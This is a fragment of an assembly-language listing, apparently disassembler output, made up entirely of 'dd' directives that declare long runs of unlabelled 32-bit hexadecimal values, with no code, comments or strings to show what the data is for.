		dd 57FB0E5Eh, 0E433B96Ch, 50C829FFh, 951CFAF1h,	0E82DE9E4h
		dd 0FDB993A3h, 84254FACh, 51B7FBF8h, 0F02860F0h, 0B6A43A04h
		dd 549E822Fh, 730949D1h, 3D2D4103h, 93D29DF1h, 0CBBBF3BFh
		dd 0E9BA05A4h, 8AB466AAh, 0EC3231EFh, 42FD893Ch, 465DB5C0h
		dd 201C9895h, 8A9FA78Dh, 0F505FC37h, 0B41E2326h, 0EC0B8E64h
		dd 68866076h, 2D879A7Ah, 5200F4E9h, 9514A62Dh, 0D784044Eh
		dd 10880702h, 4EE7FF58h, 76125EA8h, 8E003157h, 624190F2h
		dd 4B78BF11h, 12895816h, 0E90BC1ACh, 60DC145Dh,	8106EB89h
		dd 0DC7A08B5h, 0A06A8631h, 0B34FD4F7h, 96BB8494h, 719770EAh
		dd 2DEA5F6h, 20F1F8A5h,	6819B6F1h, 8B024BEEh, 8B8DEC6Fh
		dd 0BE0506Ah, 0C569840Fh, 6D2881C9h, 70CC89BDh,	0BD799229h
		dd 0D273DCF9h, 2344F7EEh, 1B84C44Ah, 4A018AAAh,	0ED817531h
		dd 8282A53Eh, 0DF7EC20Ch, 0BA5C5530h, 0E9180820h, 8DBAA65h
		dd 845B9775h, 5A7C0900h, 9F5EE971h, 7F74CA0h, 6B4C083Fh
		dd 583C0153h, 22E90B43h, 5467047Eh, 8E15825Dh, 293C9D78h
		dd 37BADAEAh, 59FEF3F9h, 0CDB3FA85h, 5D264098h,	0D908FEA4h
		dd 11D8507h, 509F0EA1h,	730E824Ah, 5752910Bh, 121865E3h
		dd 29E20204h, 697C91D1h, 0B7649E55h, 5D6B435Ch,	0EA263FCFh
		dd 9CCCDE2h, 0BA3279F6h, 3BA7F2Bh, 0EF202FFAh, 835D9543h
		dd 25BE3667h, 0F77B810h, 0E151499Fh, 2ED95ECEh,	4625F3Eh
		dd 809D6C41h, 789EE155h, 1836DA30h, 63312074h, 16A70C45h
		dd 42DBCF4h, 77F72685h,	0BC2C85FFh, 8DF4B13Ah, 1A2ACA2Bh
		dd 6016734Dh, 681D5EEh,	55193BCDh, 3D279E13h, 2C03E5B2h
		dd 9E542FFEh, 73493560h, 9CEAB268h, 84816B5h, 0D820E4CBh
		dd 0B442053Fh, 5CEB3B73h, 1389C320h, 0B8A4AF2Fh, 996073D3h
		dd 1EF18022h, 587B2E68h, 0CC886275h, 0CB2EE7F4h, 67D53062h
		dd 0B0DE34A1h, 29BFBDB3h, 163454CEh, 5E07A80Ch,	29E9E1D0h
		dd 0C3EBC0D6h, 63B85B7Fh, 155F94F6h, 0E4579E75h, 6953CFEEh
		dd 774B87ABh, 0E94AD400h, 3F94940Bh, 4234059Ch,	0F0015BA3h
		dd 0C223B261h, 0BDD7517Dh, 0EDC29C96h, 0DD68C207h, 0AAE7557Bh
		dd 0DAB6FCB0h, 88531251h, 0C512AAF3h, 0F86A20C9h, 39ED90B7h
		dd 0EC544071h, 0BC3C926Dh, 0F901781Bh, 34D0E92Eh, 0CFE18081h
		dd 0D243D9F6h, 5335E9FAh, 4083B800h, 0F99D38F6h, 2C565A4h
		dd 1163E9F2h, 0E21441D2h, 16A96472h, 34205EF5h,	26BDF9C7h
		dd 2FAFEFFh, 4A7410A3h,	9C56AD5h, 63517708h, 59345B62h
		dd 536805C9h, 50913026h, 0E917B1B4h, 3FA32CEDh,	0BA787D27h
		dd 5338FE97h, 0A058C9FAh, 84425E50h, 74877F17h,	7E85CDEFh
		dd 0E9B07FEDh, 51956D55h, 1CD5202Ch, 9D5088B7h,	58E10AFCh
		dd 0C180E11Eh, 61068109h, 4BB65266h, 5860F2F9h,	547625E9h
		dd 0E2736EF6h, 0FAC5D65Ah, 0E9FDA4C2h, 0E36B59C9h, 4E7A9EBEh
		dd 0EEE18BACh, 5F3C126Ch, 0BE80D079h, 0D6F3A99h, 6B2D3168h
		dd 2EAFDA31h, 94FE131h,	0ED2C1B89h, 17E391EBh, 0FD741E2h
		dd 897C3F20h, 0D8B669D8h, 47351F54h, 0B7ED36Fh,	54497792h
		dd 0C05C78Fh, 6A96856h,	0DC086A8h, 0D1622C01h, 9DE3E25Eh
		dd 1F4292Dh, 0F4F8E905h, 42984100h, 0F855741Eh,	4BF9CE4h
		dd 0B375D168h, 6E4212B9h, 990019FDh, 0BF3E6831h, 190B181Ch
		dd 7CEF013Fh, 0D7F758DAh, 39115E02h, 514AA0E9h,	0E01CE91Eh
		dd 83B6BF30h, 0B8B850E2h, 132C1DB8h, 9F62C30Dh,	5AB34044h
		dd 0F7088B98h, 0E0C1D800h, 0B0A43505h, 0BC01F411h, 0CCBB03D6h
		dd 0C0EC6A5Bh, 625ED463h, 0E868790Ah, 3989C937h, 0A0BAE6A0h
		dd 3F264E91h, 9E975E51h, 897AACF0h, 0CF1F908Ch,	0C53A1847h
		dd 1660A01Ah, 0F73C3F0Ch, 2C2D04D0h, 39027795h,	437F0119h
		dd 0B5BCE4FBh, 794CC49Fh, 0A1072750h, 0E55FC311h, 0E2638F3h
		dd 6B5DB8BFh, 1614DC56h, 0C21C4401h, 182BC831h,	37B03B13h
		dd 1260EBACh, 1F267F7Bh, 0EB1D0CC0h, 33E994DEh,	0D1E777DDh
		dd 47AEA48h, 149D1E6Ch,	0C16443C3h, 66EC1EDh, 0D8565024h
		dd 0DD739700h, 0AE7BE45h, 3117174Dh, 0CE94AFC6h, 0AF4F4A8Ah
		dd 9582A225h, 285902DBh, 0DA76F942h, 57C8096Eh,	32A474Ch
		dd 0D720CA67h, 0F3B91DDCh, 35E530Eh, 460ACBD8h,	70CE29C9h
		dd 949C780Fh, 0E96DF54Bh, 0DFA71B2Ch, 45340D96h, 97821616h
		dd 6917C0F5h, 5851BDDAh, 7FC49CBCh, 12CE5525h, 0C21F7E9Dh
		dd 0E85470E9h, 335D5809h, 0A01CE96Ch, 944AF06Dh, 0D202C762h
		dd 0ED48F191h, 1C0032BBh, 0CB810D60h, 0BE57812h, 0ED72E946h
		dd 90903D4Eh, 0D3D8B22Eh, 0CA1F8F18h, 6B44288Ch, 0CBF258FEh
		dd 9C30E05h, 75EF82D0h,	0DDFD6169h, 7EAF6522h, 3C4E01Dh
		dd 29AE3A9Ah, 0D2A66F26h, 33E3BB25h, 0B84CECA0h, 0F3810B00h
		dd 0F447B313h, 0A00375E9h, 0B50D871Bh, 36138240h, 204A6C9Fh
		dd 813A0F55h, 9C088BF1h, 4C8BFD7Dh, 7681BAF5h, 96E089D7h
		dd 262C8AE6h, 0E743E96Ah, 0F8CD006Ch, 45027B05h, 0F2BF2D32h
		dd 5A5F48B4h, 32E6EC5Eh, 0DAEE793Eh, 9ACC427h, 0B5B9BE2Ah
		dd 0FEEF8180h, 7350A43Eh, 0BA5152D4h, 0AE097A08h, 3616D787h
		dd 260AE390h, 0A572B8C3h, 481EFA27h, 0AF0C4E52h, 0C2EEA122h
		dd 4D2A92C7h, 636770Bh,	5BBDB22Eh, 68089110h, 123D4925h
		dd 45FD4BD6h, 3E9B93Fh,	535841D5h, 79A8A32Fh, 8043EC97h
		dd 9D8B769Ch, 0F681B3F6h, 2D35183Ah, 0CBBCB0F4h, 82D5C05Bh
		dd 0F5CD028Fh, 6AB871A0h, 0CC110AAh, 166980F3h,	743BFD6Ah
		dd 1082C34Fh, 341057BDh, 0B6816172h, 4EB3B130h,	7D90F445h
		dd 1794B438h, 0BC0B5BDCh, 2C69A29Bh, 0DE724815h, 5AD9F928h
		dd 5E04EFE8h, 4B6CC70Eh, 800A12A0h, 0E92DE5C6h,	87ECF14Ah
		dd 0EF78B551h, 0EDC0AAA1h, 0D7C5D806h, 0D6EA882Fh, 29F2C1E7h
		dd 66F921E9h, 5792594h,	69FFB993h, 0D5C8CD83h, 253231C7h
		dd 6A39C9F0h, 0E14069CAh, 0D1724C0Eh, 7EA2C104h, 0FDED8137h
		dd 0E1238124h, 77343CD8h, 92E2E80h, 0B06813E7h,	2FCC014Bh
		dd 3346602Dh, 7B8455C7h, 0D42F3A7Bh, 0C9309B71h, 4E01922Fh
		dd 0FC5E2046h, 7DE75E3Fh, 66F95Dh, 9805D3B8h, 235482Eh
		dd 7AC45383h, 5354FCE9h, 9995425h, 38DF7C95h, 9F8568A2h
		dd 0A0F04466h, 2D65019h, 4549783Eh, 8323C5F8h, 27759DF2h
		dd 0B7C2CFEBh, 726D9075h
		dd 14EA88B4h, 0ABC6131Dh, 58EFEB97h, 5C1E0CAAh,	7E6E2225h
		dd 1208A060h, 0DC873DE9h, 684C51DFh, 0EF8DC55Fh, 0FB5F5A8Eh
		dd 443B8729h, 44D5BADh,	0D0C5DE01h, 0FF96C8ABh,	6CA9764Ah
		dd 6DF705C9h, 0E26887ABh, 0EE89450Dh, 0AD7E1333h, 0A64F7DB2h
		dd 36C81235h, 20C5E4E8h, 3F8BAA72h, 0C899A27Dh,	165E28DFh
		dd 0BB596556h, 7A801D0h, 0D18F5EC6h, 7C5BD91Ch,	0EBB04BA4h
		dd 0C3AF2552h, 87211EF6h, 12077B69h, 0A4D9B85Fh, 177D9C2h
		dd 2660A368h, 176C050Eh, 7EC46A6Fh, 325F45B8h, 5660F7EDh
		dd 1A677D68h, 4A6C46CBh, 0F828025Ah, 0D004792Ch, 0E92730DFh
		dd 0E3D75A6Bh, 0D12984F0h, 5DDCB6C0h, 273F9834h, 0B9FFBE3Dh
		dd 61714AEh, 0A822BB67h, 0DE01FB2Ch, 0F62338h, 322CBE56h
		dd 5FE90B92h, 0B15791E5h, 9CA32E2Bh, 7356EA97h,	94E50C1Dh
		dd 5BDE1FBAh, 795FC850h, 31996801h, 4FE51BB7h, 70A0E03Fh
		dd 49C05205h, 68A4ADE9h, 0BC734542h, 45D101FCh,	315D4744h
		dd 8958EC6Ah, 0C2E5DD54h, 13100069h, 0B86DE04Eh, 7CA50023h
		dd 0DA87731Bh, 9C2DBF7h, 0E0EAD1D2h, 4846A92Dh,	0A789C3Ch
		dd 1D3B46Ch, 0BC5A13BBh, 0A2801020h, 0ED99583Ah, 20010697h
		dd 215C5B80h, 0A4FAC9ACh, 7CFE5F08h, 0FDC75162h, 0F523DE88h
		dd 5BE7345Ah, 5B1EB3Bh,	0C7E5CDDh, 5A49FEB3h, 4574F69Fh
		dd 707D8150h, 764740Ch,	5ECAD61Eh, 96B13097h, 83209A0Ah
		dd 205D669Fh, 29247A06h, 0BB107CD9h, 58C5310Eh,	4ED5E869h
		dd 0DB099D68h, 90773C77h, 428E4FB5h, 32195E47h,	0A6FA3440h
		dd 6F7CD4B7h, 14926146h, 1EEE012Dh, 5F1690ECh, 2567A773h
		dd 0F0385657h, 3EB92C87h, 330957A8h, 5F6D9431h,	783064A7h
		dd 93DF5C1Dh, 641BE38Fh, 0FFE3589Bh, 0D7D944Eh,	2E0A65DDh
		dd 7DA3BA2h, 2708361h, 6D20825Fh, 0EF80BA5h, 7BE5748h
		dd 48F53E81h, 0AC5ACF2h, 74D4025Ch, 1D5155A8h, 516EE90Ch
		dd 0E7810147h, 46282C9Ah, 7C5DDA68h, 3F966704h,	707602A9h
		dd 0E9E4E027h, 0CE415482h, 2FB5134Bh, 1687B8B0h, 0EDB7630Eh
		dd 0CA03C05Ah, 0E5B6705h, 0F2CAB2F2h, 6CE9050Fh, 0ADCEEF83h
		dd 9AD67D6Bh, 813D7058h, 21FF2E5Ch, 164A67Bh, 2A70E3C1h
		dd 487302EBh, 0CB315B94h, 83AF063h, 0C873CF7h, 46191FE9h
		dd 30563FBFh, 12236824h, 40E9B652h, 7213F7B3h, 3E020632h
		dd 0FEAF144Ah, 8B031C8Ch, 147C15F4h, 68D1F181h,	0CBF341Fh
		dd 4C964503h, 76B1CD89h, 0EFFF8E4Bh, 1B71E291h,	0B38FE109h
		dd 34BA96Bh, 2B0EB6C6h,	0B50C5A76h, 5A0CADBFh, 0FDE95CCBh
		dd 4FBA3060h, 84D9017h,	59DE6034h, 13836857h, 22097B41h
		dd 6FEABBB5h, 1D2AC45Ch, 0B5B7FABDh, 454BFE2h, 0D66D360Bh
		dd 399E0971h, 7A7D5E1Ah, 1356E8FDh, 0F30C6768h,	183C52h
		dd 0B42D4C44h, 4841DE16h, 0E149D340h, 8E65AF4Eh, 1348A8BCh
		dd 0E346682Dh, 87C4F84Bh, 9285E7EFh, 0D96E9909h, 79D7821Ah
		dd 0B3DD4370h, 0BA0F417h, 59F22880h, 5191CFC7h,	0E7FBF3C4h
		dd 78904C1Fh, 0D8F0305h, 8309D8F7h, 28AD5A91h, 0B7EE1E8Ah
		dd 3C0919D6h, 12E22AB1h, 648C123Ch, 0ED7FC7C9h,	655F1951h
		dd 0A53AEA6Bh, 92932F11h, 2D8A2C54h, 9CC4A0D1h,	272F88F6h
		dd 0ED10BA00h, 6815336h, 1A5F86EEh, 550B0C37h, 7D2A9252h
		dd 13C60985h, 16ED0908h, 72BD505Ah, 5AF7F6FCh, 0D82EB58Eh
		dd 0A225758Ah, 0FBFCE24Dh, 0FEC5155Bh, 535D147Ch, 24139855h
		dd 5EEDF2CFh, 0CDD2F318h, 918272Ch, 883A352h, 63E50C04h
		dd 93A615D5h, 0C3BF302h, 0AB815E4Bh, 7E157BC3h,	4D071780h
		dd 9D8B27E9h, 94799827h, 0FDCE859Ch, 0C2039278h, 10A71A8Fh
		dd 3B9ADEF0h, 61F0124Bh, 640D7391h, 0FE4118DDh,	0EC3319A7h
		dd 889FD1D2h, 0C0EB0569h, 0BD12C784h, 46BE774Fh, 94E68985h
		dd 6D7CC402h, 62D5F75Dh, 32C90708h, 59CD2180h, 8E51DC1h
		dd 719519E9h, 0EB893A04h, 0B5720FF0h, 0DFCB5276h, 0F2579307h
		dd 0DB7DA2F5h, 87361203h, 5AF100E2h, 8072C9FEh,	5B25F390h
		dd 8826714Ah, 8004F8D8h, 93FE53EBh, 5503479Eh, 0D523F381h
		dd 0DA21A191h, 7A88806Fh, 42670557h, 0D1A2AE1Eh, 8E00DF67h
		dd 29BED875h, 17BD2AD6h, 6E5DC302h, 8755588Dh, 6E49D12Ah
		dd 0B25212ECh, 124ECD7h, 0D1202DEAh, 923F93E9h,	4F7504B3h
		dd 88AAC1Eh, 0EE245DFAh, 0D8E0F61Bh, 62B65259h,	56F020C1h
		dd 0B7381A5Ah, 2DFE3EDFh, 0AA33775Bh, 2CB3201Ch, 0A340D910h
		dd 84B40750h, 37DFC480h, 0C3E941F4h, 160E3270h,	0EBE8570Fh
		dd 0E2885E5h, 6D80BAB4h, 0E5BD0792h, 0B3E10BD2h, 3EB82D2Fh
		dd 42B17E5h, 0BE3462Eh,	0ACE2D65Ch, 0E51C1FA6h,	0CE873DEh
		dd 9D905227h, 0E9199394h, 580A80F2h, 81306860h,	0FD194459h
		dd 8F7B50BAh, 2CAB0A16h, 8B250AEh, 0B069E916h, 839D212Fh
		dd 8AFC7B1Eh, 670B55FDh, 543F2303h, 7B845987h, 810ED0B2h
		dd 612C5C7h, 0A4BF47FFh, 0F902573Ch, 5BE9DF05h,	822A54C6h
		dd 25CD0A1Dh, 0C98C3C7Ch, 4ACCC136h, 799EEA60h,	0C4EAE913h
		dd 4F14A28Eh, 0D14B32E8h, 56AA8EBh, 853080EAh, 60E1E3B3h
		dd 0C317FE87h, 0C4E016E9h, 5DECEC4Fh, 8E34C3DDh, 0DA56807Dh
		dd 3D7B132Dh, 0CEB9B8E0h, 0D12218BCh, 0C973B910h, 0C167672h
		dd 59CD42FFh, 7C061F5h,	20D8D968h, 854B18E9h, 4ADFCFA2h
		dd 0A0DB1CEDh, 0EF249AFh, 0ECB9C95Eh, 0C4BDB544h, 1FCB1F27h
		dd 4B1C8C49h, 6B0BEB13h, 4A277CEh, 3AA32EF5h, 21516312h
		dd 5A2056Ch, 0CA83D1EAh, 0EABC3F97h, 956DD186h,	1ABDD630h
		dd 0E658C688h, 6FE99C30h, 859DAA32h, 8D3CA92Ah,	0EF2E405Fh
		dd 0A240453Dh, 76B14712h, 0CB681779h, 5A293243h, 6D125AD6h
		dd 5B5E11A0h, 0F0A7898Fh, 489768B1h, 3D22EBAEh,	55971101h
		dd 10C8A332h, 66039DD6h, 4311E181h, 0CCC90A0Fh,	0A5D3E447h
		dd 572D00E7h, 7702A854h, 7E5B6423h, 58F30118h, 6FDBC1DEh
		dd 41AE8213h, 35D8EF3Bh, 0F6E06BFCh, 0F40D1FD5h, 8C823F70h
		dd 55098262h, 2BE397E1h, 0E95E7207h, 0F14EF1B5h, 0B8C1DC2Dh
		dd 5F02950h, 7D5E0742h,	1301A416h, 51201757h, 0AB2E1CF7h
		dd 0F96F082Dh, 3A6809CFh, 40817230h, 0BF0757FBh, 2D76B41Dh
		dd 76D735B2h, 0E38070C5h, 0F326DC73h, 7217579Fh, 14F78E44h
		dd 871498FFh, 93EA2DEDh, 402CD7EFh, 316FB991h, 5BE9E83Fh
		dd 4D5DC481h, 540AF740h, 5A653FFDh, 3541D225h, 83E9345h
		dd 0DD104E1Ah, 0B801A2E7h, 19271655h, 1B8EFC61h, 0DC57D488h
		dd 8D5FE9A6h, 95BBC801h, 6D646D6Eh, 0E1F4055Eh,	0AEDD893Ah
		dd 453B74CBh, 386DCD83h, 0E5E97D5Ch, 412CD068h,	879C9AC0h
		dd 0E456BEF3h, 835F078Eh, 0E9C8E934h, 6498E76h,	0FCD5666Bh
		dd 9B0097BAh, 0BE34EF2Dh, 0A8BC0D5Fh, 702593Ah,	2123E953h
		dd 24E16DDDh, 6DB13C0Ch, 0C9FECCEBh, 12F0BE51h,	0D44B6FDCh
		dd 6216F9C5h, 750901DCh, 4650BDF8h, 0EE008104h,	4001A2D1h
		dd 56CEE956h, 0A072B328h, 952E1122h, 0ADB0E5C6h, 0D94BFC25h
		dd 0E940ECE2h, 55C55C4Fh, 0E9BE38AFh, 0BAE1C031h, 0F23EC521h
		dd 0FD68C2E3h, 0C6E57F0Bh, 9FA570A7h, 5C5ABB44h, 35C5BCBCh
		dd 0D877C8AAh, 1B632717h, 5980DDB8h, 0E969D56Fh, 228A2525h
		dd 0D9897F1Ah, 372942E7h, 4AF4185Fh, 0C65BC988h, 5F66A557h
		dd 916E0FB1h, 81EC0ECFh, 22D7EE25h, 0EF2177A4h,	0B6318060h
		dd 72044B82h, 0D559C7F7h
		dd 0EFA9941Bh, 0C7A441C7h, 0BE0285ECh, 314A012Ah, 65F5D8D5h
		dd 0C0060608h, 0E10B7CDCh, 152D29B8h, 0C56079FDh, 8430AB4Fh
		dd 1CBF7F94h, 8155512Fh, 0A66A8AB9h, 321E2A37h,	39AE4FB9h
		dd 291E3045h, 80FCAB5h,	2FE2E687h, 23E5585h, 0F8E98740h
		dd 83EEBEAAh, 785506CEh, 6EBE0DD9h, 5F242328h, 0A960BAECh
		dd 276538BFh, 54022C97h, 2900822Eh, 3A7E05C8h, 9751079h
		dd 0AD846CEh, 0E906A75Bh, 15545C94h, 0A13EE7B8h, 0EFAFB116h
		dd 625F5DCCh, 9BEF851Fh, 35779FFh, 0B47C4884h, 6E173DE9h
		dd 0B54C738Eh, 593D055Eh, 0E1E2EB30h, 0EF8CE9C5h, 48F492B4h
		dd 88DF769Dh, 0DE2F4EDDh, 8C161292h, 85D8BF3h, 0B3D135D7h
		dd 0A0DE10ABh, 5AD189A0h, 224F0131h, 120AC1AEh,	8009F580h
		dd 589A6169h, 0E0CBA27Bh, 0BC1ED668h, 33D16267h, 54EED64Ch
		dd 0F315D02Ch, 5D42C51Eh, 57D60169h, 0D4690153h, 61890520h
		dd 0C62380DAh, 0D5EAAA8Fh, 0B83F529Eh, 252985CFh, 0C3834726h
		dd 3416A606h, 0C0181430h, 0FB57A2CAh, 0DF87B817h, 0F8E99005h
		dd 4D5A47D1h, 9F6FAC2Ah, 2409DDD3h, 0D2C577DBh,	7402D3A4h
		dd 0CA067F28h, 0B8FB404Eh, 1A580435h, 13B16AE9h, 96491002h
		dd 86655536h, 151256A5h, 680999F1h, 96FD1503h, 0DF012030h
		dd 0FEB4795h, 90B278E9h, 0FC6C8357h, 0E800F04Fh, 1F474405h
		dd 29029F28h, 5302A17Ch, 66305F5Dh, 0FDA8756Fh,	869501EFh
		dd 9DA43815h, 88309F96h, 8E941FAh, 8C55DD38h, 0EFCD4E02h
		dd 0D5CA335Ah, 2D42E90Ch, 6589623h, 508D40Ch, 4C2A7D75h
		dd 7240DEC7h, 952142E3h, 95FCFD85h, 0B40C8168h,	3987B87h
		dd 9E19E458h, 5AAF89ACh, 0C68242F9h, 5547294Dh,	62608E20h
		dd 0D013CF5h, 4ECD245Fh, 3BE0F825h, 5E050238h, 4806CFD3h
		dd 19A8A760h, 431EF417h, 12C089E4h, 0FF3DEFFFh,	0C1C6264Ah
		dd 49009B10h, 3474F181h, 893F0BCDh, 7E681CCEh, 3B225D25h
		dd 0AF8056B3h, 0E9F3204Ah, 41FAE15Bh, 491B0377h, 0F9EDD875h
		dd 6E72157Fh, 0A2E5845Bh, 4341046Bh, 841AAD80h,	46E6721Eh
		dd 5F2EAE4Fh, 0D94FD75Fh, 7C075ABh, 5CB7B02Eh, 62DD4B0Ah
		dd 0A2A25BBDh, 97E630EAh, 7F27F563h, 6E41B624h,	7AEA7789h
		dd 4B6226D6h, 37EB8188h, 0D812A45Ch, 7A0A22C3h,	0A82943AAh
		dd 822F2328h, 641D1AA3h, 30507E1Eh, 0C76D77ABh,	823D7D71h
		dd 0E7CA927Fh, 0ADD23CFCh, 572D2EA5h, 20D15AA7h, 53078727h
		dd 4342BB68h, 813E54CCh, 8EE33F58h, 0AB5B5785h,	518BD3E3h
		dd 4E001155h, 91CED9D8h, 0EB200954h, 0B33018C6h, 0D8EEBD2Ch
		dd 464B3D1Dh, 909F3AAAh, 11ED040Eh, 0FCCBF275h,	61151288h
		dd 47C48F94h, 0D230C7B1h, 52271133h, 50FA4E6Ah,	5C04C2BCh
		dd 0C0278F08h, 1817E569h, 52E9E80Dh, 26384CC2h,	60E25Eh
		dd 54867C04h, 0BD8280E9h, 7AF696CEh, 291638B6h,	5252CAEh
		dd 0ED280DF6h, 52B0E050h, 9EEF3E5Dh, 410C6C4Dh,	5F09850h
		dd 0D947178Eh, 4AED8A38h, 0B1015F29h, 0AC6EE51Bh, 0FB10925Eh
		dd 8A1A1050h, 39755B25h, 0BA2B55A6h, 54235438h,	4B98EFA5h
		dd 5BF3A658h, 0E9A10DFDh, 26E66CBCh, 0EA4537D3h, 0C83039E1h
		dd 10C69F53h, 0A72DE57Ah, 70C34611h, 5AF50C18h,	0E9EDEB30h
		dd 0E9EDA827h, 63BCA56h, 10A40435h, 398FB92Ch, 7D6BC540h
		dd 5C74BF52h, 26C0E708h, 112B0388h, 280A05A6h, 0E902B6A1h
		dd 0D45DFC0Bh, 80FA801Fh, 0D98638E1h, 8D3F630h,	3F50C1FEh
		dd 0C41207B4h, 804716B1h, 4D61B80Ah, 48569C13h,	6402CE1Fh
		dd 0C0311784h, 97C1292Ch, 0F3F89DA2h, 5CADC677h, 0CDC4EAC2h
		dd 0AD55D279h, 57696257h, 383F203h, 0DD87AFD4h,	68E156E7h
		dd 0B17A4499h, 0C432A533h, 1F439D37h, 0B065A085h, 50093540h
		dd 0FF7D7CFh, 8F3FB551h, 74AEC32h, 0A01F12F5h, 72E5C122h
		dd 2168163Dh, 0BB38352Fh, 13979A60h, 0B82A0A87h, 28A30FDFh
		dd 30206D0Ch, 0D3CE4147h, 1137D515h, 0B32F95Fh,	0F7F1E802h
		dd 6A770149h, 272756E3h, 0C252B06Ch, 21C4B9Ah, 64EA5C93h
		dd 9076ADBFh, 4D4706E6h, 1FD8352Bh, 0A46F0A65h,	0B8E20252h
		dd 0E6DFCBBBh, 29E91969h, 0EED1586Bh, 3FB6217Dh, 33F90E58h
		dd 0FF6FC42Ah, 2C997A75h, 0E4B7B82Fh, 0BCC5E8A8h, 230AE33h
		dd 4BAD51F3h, 62C8BB6Fh, 33B78099h, 209A6DEEh, 18CC203Fh
		dd 0BB0EADDAh, 920A12EEh, 0D802AA26h, 74685E1Ah, 25F7A2Dh
		dd 0C102F5A8h, 0FE4031E4h, 0E198FFE9h, 85B0A97Bh, 0BED1DF3Eh
		dd 15897DEFh, 0C598FA5Dh, 81216B7h, 8C0B5BFCh, 1BC05712h
		dd 0A4C928ACh, 17F37EDBh, 2A38EA5Dh, 0F7684E95h, 84705807h
		dd 55D5DA09h, 0DE45C6EEh, 73225C0Fh, 0D086E52Bh, 7A75CDEEh
		dd 63C5BEF2h, 398CBE02h, 0A00D55B2h, 7FE0B2B2h,	54A552FBh
		dd 853C4A1Fh, 89479EE9h, 0AC1724D3h, 0C7D644h, 3E20672Bh
		dd 4E7C14Fh, 0FD314C2h,	0CA62C3F8h, 9D709E2h, 90D2162Dh
		dd 0C314254Ch, 0EAC631F7h, 6BEC6888h, 5F256804h, 0BD99AFBh
		dd 0F29A22E9h, 85901706h, 0D22C8756h, 0A8DE7E9Fh, 70A3F273h
		dd 0E8F09FB7h, 6165FB06h, 95AC0924h, 3985C5Eh, 0F5C24D1Eh
		dd 1E96EE31h, 82840621h, 0AC4C4A86h, 577B1D3Bh,	4C81C427h
		dd 4A4288h, 83B1B8BAh, 62BD5B35h, 2C757B11h, 61A2167Ch
		dd 3F7CD0F0h, 0BB80D1B3h, 71874820h, 4C026490h,	5545C30Bh
		dd 0CA5AC050h, 44FE0047h, 57A7E681h, 0F7276E20h, 83ABD6D6h
		dd 224A3CCEh, 0DA090C96h, 64D733h, 84D2D5EFh, 0F658BFB6h
		dd 0BE8F4050h, 13BC85B9h, 27FF1BFBh, 91408274h,	0D3B6CF25h
		dd 472AEB00h, 0FB291694h, 4008A8D0h, 6C1312C0h,	0CEA90F6Eh
		dd 41590840h, 4B912F5Fh, 0BD405352h, 0B7C23EE0h, 714BF658h
		dd 0B27E32E5h, 0C280D328h, 0C925E0E9h, 72555C10h, 54CA2D1Ah
		dd 0FFA55C79h, 0A89B4410h, 81C7FDBCh, 0C52325B0h, 0F97AB71Eh
		dd 3D5E0882h, 7B05AD40h, 36FE3A40h, 0E9E690DAh,	4BBEEA0Eh
		dd 35E1D282h, 0A97FE257h, 42C17737h, 90628CAh, 0F106CF68h
		dd 2B3698C8h, 0E3E5595Ah, 970D33FBh, 0B487C3EFh, 0CF5E0BECh
		dd 16A2F267h, 0A74123AAh, 517BBA8h, 0E752A62Ch,	0F85F48D2h
		dd 1EED07CBh, 9930C263h, 0B3C9CFFh, 290D3BCAh, 0A5E9F848h
		dd 8B50B749h, 0B524584Dh, 1458BDF4h, 0FB9B9D54h, 0E8411F2h
		dd 68594106h, 58364083h, 0BDD20918h, 4F1EB4F5h,	3D26B11h
		dd 0E36A97F1h, 0F0E9C4ACh, 3F1D4D4h, 0A654BC3Fh, 590190B9h
		dd 0EB938F55h, 5DEB9340h, 4AE95051h, 0D857F576h, 0F9971C67h
		dd 412597B1h, 0EF885350h, 3AF9CD51h, 0F25BA2B0h, 23E935D3h
		dd 313DBAF9h, 0C0DE0660h, 0CF2D4022h, 485A163Dh, 0E813DBC0h
		dd 0EA054B1Bh, 85292609h, 0B8ACCE32h, 5B35FA5Bh, 16A6AA00h
		dd 6CBD25ACh, 48700BA7h, 7B032C14h, 376605F4h, 0C1AE6065h
		dd 0BB22AFDAh, 4E03C98Ah, 5F0007AEh, 2BE5F989h,	3F4F6AFh
		dd 0D7F7F987h, 0F101087Fh, 31E73DBh, 0E82FCB29h, 5E53E8FDh
		dd 3B862D5Fh, 0C12953C0h, 0B5EB77E9h, 5179E3C8h, 13575880h
		dd 0CC52FE68h, 2312D4FFh, 97092163h, 5846F759h,	9BD56B7h
		dd 935DF546h, 0B49CC115h, 25F410A0h, 0AC5C8E43h, 0D8C8C44Fh
		dd 61CAC791h, 95F3F22Fh, 0E0721A7Ch, 0D8715D26h, 0B053DE0Ch
		dd 0FFFC7E1Ah, 989C563h, 0C429A6A4h, 72F9AFAFh,	5B5CE04Eh
		dd 27F163Bh, 0A55155F3h, 0EBD05F31h, 206FEFEh, 54E9492Ch
		dd 11684899h, 0B20CAC4Fh
		dd 9FC5F01h, 1ED498E4h,	5B3AB3B8h, 8713934Dh, 36D187FBh
		dd 7CF93F54h, 0A5954A1Bh, 89671CBFh, 9CDD6FFDh,	12F1A372h
		dd 4FC89566h, 0D1D2EDC1h, 3C525871h, 69E3969Fh,	61482558h
		dd 0CF1B1427h, 0AAA6B26Fh, 34B5EAA7h, 15B92BEh,	0A4337155h
		dd 7D950821h, 0DEA5525h, 8EAF9DDh, 0F70A51D0h, 5317D0DFh
		dd 0BAD19CEAh, 0E1B2015Ah, 16F703C4h, 80DEEC00h, 0D9C06CE1h
		dd 249EB818h, 294BE416h, 631934F3h, 0FAA44155h,	81BCD609h
		dd 525F39F3h, 0E0C8A858h, 0CF22CD09h, 0A0E7583Ch, 9749067Fh
		dd 0B5DD9248h, 0A5FBB03Dh, 5AAFA7Ch, 6D3984C9h,	0AA40BF50h
		dd 0A04A0CE1h, 0BFFB049h, 73CC2011h, 7E57E800h,	43BF24AFh
		dd 83071B46h, 3DFB36C6h, 2B3FCEB1h, 0BD3105B0h,	0D8BD51F0h
		dd 41935B29h, 0C1A9F6CAh, 0E1877F45h, 8305605Eh, 0F25FFC0h
		dd 32753754h, 0C3098920h, 0CD09356Ch, 5D6D171Fh, 36FB338Bh
		dd 83A46717h, 0C25A4CD1h, 6076FC04h, 0DCF4BE73h, 1C84D85Bh
		dd 835821F2h, 0D8DA3D59h, 0A3BC8443h, 0F5C9E8ABh, 10EB2E84h
		dd 0C958BAF9h, 4A54DF10h, 0D7F1E0C1h, 0CBDD839Dh, 1E5B88B2h
		dd 2C12A902h, 2967DF31h, 8F52550Ah, 4390DD16h, 40E25AAEh
